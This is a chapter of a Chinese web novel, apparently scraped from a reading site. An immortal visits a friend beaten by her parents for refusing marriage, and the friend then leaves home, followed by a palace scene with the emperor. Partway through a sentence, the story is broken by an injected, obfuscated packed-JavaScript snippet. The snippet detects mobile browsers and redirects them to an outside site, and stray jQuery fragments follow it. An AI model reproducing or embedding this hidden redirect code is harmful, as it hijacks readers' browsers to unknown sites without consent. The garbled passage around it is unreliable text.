自愿学习 作品

12. 李府

阴沉的天又下起了小雨,断断续续地下着。


李太傅去上值,夫人清晨去庄子巡查,晚些时候才会回府,接待余初晏的只有几位老仆。


余初晏让他们去忙,自己轻车熟路的来到李晓蓉的院子里。


李晓蓉在书房看书,不远处还摆着她未完成的绣品,余初晏扫了眼她手中的书,是四书五经那类满是仁义道德的书。


凡人总喜欢制定各种规则束缚自身,真正能完全遵守的人却不多。


余初晏虽不感兴趣,也泛泛读过几本,只因师尊说于这些书中能找到她的道。


师尊的道就源自于此。


可惜余初晏只囫囵读书,记在脑中就当看过了,未去深究个中含义。


与其将道的范围困于几本凡人的书中,她不如畅游世间后,再去寻自己的道。


李晓蓉看得入迷,手中的秋毫时不时挥动,于书中留下一小行注解。


行至不解之处,眉心紧蹙,留了小折角,待到父亲回来时再问。


直到余初晏走近,替她研墨,李晓蓉才恍然从书中退去,惊喜道:“阿晏你怎么来了?”


放下书,她起身去传人送些热汤来。


余初晏垂着眼瞧她,“你昨日进宫,可见到皇后了?”


没有错过李晓蓉短暂的眼神闪烁,余初晏想拉着她一同坐下,却被后者反应强烈地拂开手。


余初晏神色未变,李晓蓉捂着胳膊连声抱歉,小心打量她的脸色。


“你的手臂怎么了?”方才余初晏就观察到了,李晓蓉看书时偶尔会放下笔,轻轻拂过另一只手臂,想来是受伤了。


李晓蓉面露祈求,“抱歉,阿晏,我们不说这个好吗?”


余初晏不咸不淡地应声,目光落到房间内的炭盆上。


虽是上乘好炭,数量却不多,房间里温度也不高,李晓蓉的手指冻得发红。


“阿晏你可是生气了?”李晓蓉又悄悄去够余初晏放在桌上的手,她的手被冻得又红又肿,不像余初晏总是莹白如玉的模样。


下人端上来热汤,与特意做的桂花糕,在李晓蓉期待的目光下,余初晏尝了两口,有些干巴,噎嗓子。


就着茶水吞下去,余初晏皱眉,“没有晓蓉你做的好吃。”


李晓蓉终于展颜,“你来也不提前告诉我,早知道便亲手制给你。”


余初晏不再碰桂花糕,她最近吃得很好,反而有些挑剔了。


想到今日来的目的,她直奔主题:“我与帝后说过你的事了,他们答应我不再追究,晓蓉你自由了。”


李晓蓉却是没有想象中那么兴奋,刚扬起的唇角又压了下去,愁容爬上她的面容。


她反复抿唇,好半天才说:“阿晏,我不知怎么办才好?”


原是她与母亲进宫面见皇后,皇后对她态度不冷不热。


听她请罪也没有过多计较,只道阿晏替她求过情,不知以何为交换,换取不再追究李家之过。


李晓蓉心中本就万般不是滋味,又听皇后与母亲商议,说是要让阿晏记在李家名下当做义女,对外声称一开始嫁入东宫的就是她,而不是李晓蓉。


如此既保全了皇家容面,也算是解释了为何太子妃换人一事,堵住悠悠众口。


母亲自然是乐意的,高高兴兴谢过隆恩,之后也就拉扯些家常,没过多久母亲便待她离宫。


自始至终,皇后都未用正眼瞧过她。


“这事我知道。”余初晏从记忆里扒出这一小段,皇后有说过要寻个稳妥的法子,让她太子妃之位来的名正言顺。


李晓蓉甫一回到家,就被母亲催促着相看人家,母亲嘴上说着皇后正是此意,只要她早些定下了,再宣传一番,替嫁之事就能顺势圆满解决。


李晓蓉为此发愁,“我不想再嫁给陌生男子。”


上回余初晏替她嫁了,生出一众是非。这一次她又该如何,难道非得嫁入别家,难道爹娘养她便是为了有朝一日她嫁给别的男人?


余初晏虽是不能理解李晓蓉的苦恼,也知造成这一切也有她的过错,所以她问:“那你想如何?”


李晓蓉咬唇道:“我想自己养活自己,不想嫁给什么旁的人。”


月凰国有那么多能够自食其力的女子,在外的一个月里,她也有尝试过。


李晓蓉也知赚钱苦累,但也好过被困于方寸大小的后院中,过上一眼望得见头的日子。


她将不想嫁人的想法告知爹娘,换来的却是太傅一顿毒打。


李晓蓉不自觉又抚上受伤的双臂。


“让我看看你的手。”余初晏语气平静,眼中含着不容拒绝地坚持。


在她的逼视下,李晓蓉缓缓拉起衣袖,手臂上,青中泛紫的伤痕交错着延伸至袖口,看起来触目惊心。


下手之人用了狠力,除了手臂上小腿上也是斑驳的伤口,竟是要将她四肢打断才好。


余初晏轻轻覆上这些伤口,李晓蓉瑟缩着想躲,却惊讶地发现被余初晏拂过后,手臂疼痛缓解不少。


“你这又是何苦?”


“我不想当笼中鸟,只能待在后院一亩三分地,日复一日盼着丈夫宠幸,除了孩子再无寄托,我想……我想像阿晏一般,想去哪就能去哪,凭自己的双手过活。”


李晓蓉目光坚定,她从未如此清楚自己的目标。


“我知是我得寸进尺,但是阿晏,你能再帮帮我吗?”


余初晏余光瞥见门外一闪而过的身影,知晓林氏一直站在屋外。


她摇了摇头,“我不能送你独自一人离开,那是害了你,至少在你真正拥有自保能力前,我绝不会再像之前那样。”


李晓蓉双眼一暗,却不死心,“我镯子上还有你送我的法术,我不算完全没有自保能力,况且只要去到月凰国……”


余初晏还未开口,屋外的林氏已经冲入房中,她眼眶通红,不知是气的还是别的原因,厉声道:“我与你爹平日还是太过娇宠你,竟将你养成这般不知天高地厚的性子!早知你这番心思,昨日我就不该拦着你爹,让他打断你的腿!”


“既然你执意离开,那为娘问你,身份路引你怎么解决?你打算靠什么养活自己?衣食住行该花多少铜钱?油米柴盐价格你可知晓?没有僮仆,你可会自行打理生活?法诀失效,遇到歹人又该如何?何况你独身一名女子,在外讨生活,流言蜚语你可承受得住?你就这么离开,可有想过爹娘又该如何自处?”


李晓蓉被她一连串问题问傻眼,随后不甘示弱回道:“我识字、会算账、会刺绣,缘何养不活自己?大哥能十几岁就离家闯荡江湖,缘何我就不能?仅仅因为我是女子?我必须要嫁人?既然如此娘亲何不在生下我后就将我送至结亲人家,也好过让你们多费心这么多年!”


“啪——”地一声,却是林氏一巴掌扇在了李晓蓉面上,打得后者偏过脸,发髻散乱,林氏还想动手,她身后一众婆子当下拦住她劝阻。


“夫人这又是何苦,小姐还年幼,留在身边再教导两年便是了……”


“到时候心疼的还是夫人您,别气坏身子。”


余初晏上前扶住李晓蓉,拨弄开她的碎发,看到了她红肿的脸,与被指甲划破的唇角。


看到李晓蓉眼中倔强不肯落下的眼泪,心中不知做何想,最终叹了口气,“你说这种话,又伤自己,又伤夫人的心。”


李晓蓉说完就后悔了,爹娘疼爱做不得假,她只是一时口快,可话已说出口,覆水难收,只能避开林氏的视线,捂着脸一言不发。


林氏气不过,哪怕一众下人拦着她,替她顺气,她狠下心不去看李晓蓉,“既然你道能养活自己,那也不必待在李府了罢,恰好你舅家有座绣庄,明日起你便去绣庄做工……”


“去就去!”李晓蓉不待她说完,直去收拾行囊。


“这怎么使得!”婆子想去拦,又是一阵劝阻。


林氏却道:“与其让她在此逼迫阿晏帮忙,来日后悔又心生埋怨,不如一开始就让她先吃上一番苦头。”


婆子重重叹气,往后室去追李晓蓉,这回林氏却没阻拦。


勉强收拾好容颜,林氏打起精神向余初晏致歉,直道李晓蓉又给她添麻烦了。


余初晏难得觉得事情棘手,也不知做何态度,只能轻声道:“晓蓉并非有心说出那番话的。”


“我知道。”林氏苦笑,“我与她爹从来只希望她平安健康,适龄嫁个好人家,有我和她爹在,断不会有夫家敢刁难于她,如此顺遂一生。她偏偏要去走那艰难的路,任性至极。”


余初晏抿唇,“可是夫人,如果晓蓉过得不开心,也能叫顺遂一生吗?”


“她是没吃过苦头,世间对女子本就多有苛责,女子独立门户养活自己哪是说说那么容易。”林氏终是不想再谈,打定主意让李晓蓉去绣庄做几天工,吃几天苦头。


虽说如此,等李晓蓉真提着包袱离家时,林氏又在背后捂着嘴呜咽。


余初晏瞧见了,又去看李晓蓉,她同样咬着牙默默流泪。


“阿晏不必送我,横竖是舅舅的绣庄,不会有人为难我。”李晓蓉轻轻抱了抱她,知晓她的心忧。


“娘亲说得对,是我太任性,不应该强求于你,我要自己证明给娘


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525997|170346||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


亲看!”


说着她忽而朝着林氏跪地,遥遥磕了个头,才登上马车,头也不回地离去。


到底放心不下她,余初晏留了一道诀在李晓蓉身上,才与林氏道别后回宫。


-


与李晓蓉一见,余初晏心情莫名低落,照常在皇宫转了一圈,仍然未能找到阵眼。


盘算着是否应该扩大搜查范围,找不到阵眼,皇帝就得一直困在仁安宫,靠着她的符箓续命。


她愁眉不展,皇帝倒是悠闲自得,还有闲心召人进宫和他下棋。


见余初晏,皇帝也不避讳,直唤她过来,将那棋手介绍与她。


“此乃钦天监监副裴松山裴大人。”


眼前白面书生看模样不过二十四五,身着绯色官袍,端端正正朝着余初晏作揖行礼。


余初晏兴趣缺缺,随意扫一眼他,橘色之气拢在身边,搭上他一身红,像是枚熟透的柿子。


“……国师府闲置多年,如今重新修缮一番,阿晏若是想,几日后便能入住,届时便让裴监副领着阿晏熟悉一番。”


原来是老龙想把师尊以前住的宅子给她,不过既然是师尊的宅子,找个二十来岁的年轻小生领着她熟悉做什么,这人之前也住在那里?


工具一摆,开始今日的画符,若不是在皇帝身边画效果更佳,余初晏已经回东宫了。


偏生那大柿子连棋都不下了,凑到她身边观摩。


皇帝也不制止,自顾自批阅起奏折来。


最后一笔朱砂落下,符文闪过金光,凡人看不见的灵气封印于其中,金光很快褪去,符箓已成,乍一看与普通符纸无异。


大柿子忽然盈盈一笑,声音清朗,“早听闻仙人制符奥妙无穷,今日一见果然名不虚传,多亏了小仙,下官才能观得如此异象。”


“……”余初晏又瞥他一眼,神色微妙,方才制符有何奇观,不过是一点点金光。


浮夸之人。


余光见皇帝不停打量着他两,心中顿悟,这青渊帝怕不是派人来偷师的,想着大柿子学会了,就能不再受制于她。


长袖一挥,工具自然收进袖中,却是不再看旁人,也不搭话。


余初晏将符交到汗流浃背的汪朝顺手中,与青渊帝打个招呼,自行离去。


不多时,汪朝顺追了上来,嘴中不断嚷嚷着,“小仙留步,小仙留步。”


脚步微顿,还是等他追上,余初晏见他寒冬腊月里不停用帕子擦汗,提醒道:“陛下殿中地龙不要燃太旺。”


“奴才省得。”汪朝顺又抹了把虚汗,这余初晏速度太快,他跑了半天才追上,累得直喘气。


想到陛下的托付,他尬笑道,“却不知小仙如何看今日那位裴大人……这裴松山大人年二十又四,还未有婚配,家中父母具是清正之人,他又是家中二子……虽说目前只是从六品监副,未来可期……”


余初晏不想听他絮絮叨叨,打断他,“你去回禀陛下,我自己也学艺不精,是万万不可能收徒的。”


说罢,不再给汪朝顺继续往下说的机会,拂袖而去。


留在原地的汪朝顺笑容一僵,遥望了片刻,才跺脚跑回安仁宫复命。


心中暗松一口气,幸好这余小仙是误会了。


他复问跟在身后的小太监,“你可听清,余小仙说的可是什么收徒?”


小太监毕恭毕敬回:“奴才听得清清楚楚,余小仙说是绝不可能收徒。”


汪朝顺这下彻底将心放回胸口,等到了安仁宫大门,撞上了皇后仪仗,刚安下的心再度高高悬起。


不巧太子竟也在其中。


太子眼尖,一眼便瞧见了行礼的汪朝顺,直问:“你不在跟前伺候父皇,在外头做什么?”


汪朝顺苦哈哈地陪笑,“奴才方才送走小仙大人,如今回来复命。”


太子知晓小仙指的是替皇帝治病的那位高人,从未见过本人,总因为各种原因错过。


今日又是这般,高人前脚刚走,他后脚才堪堪到安仁宫,赵景泽感慨这位高人太过神秘。


宋瑛却是眉心一压,问道:“殿内还有何人在?”


汪朝顺又想擦汗了,强忍着心虚,“是钦天监监副大人,陛下召他来学习观摩一番,日后若是小仙不在身边,也好有个准备。”


也不知皇后信了没,好歹再未多言,领着太子入内了。


汪朝顺差点腿一软瘫倒在地,由小太监扶着也是颤颤巍巍回到殿内。


日后这种事,他定要想法子推拒了陛下,若是让皇后娘娘知晓,陛下顶多挨上几顿骂,而他怕是这身衣服都保不了了……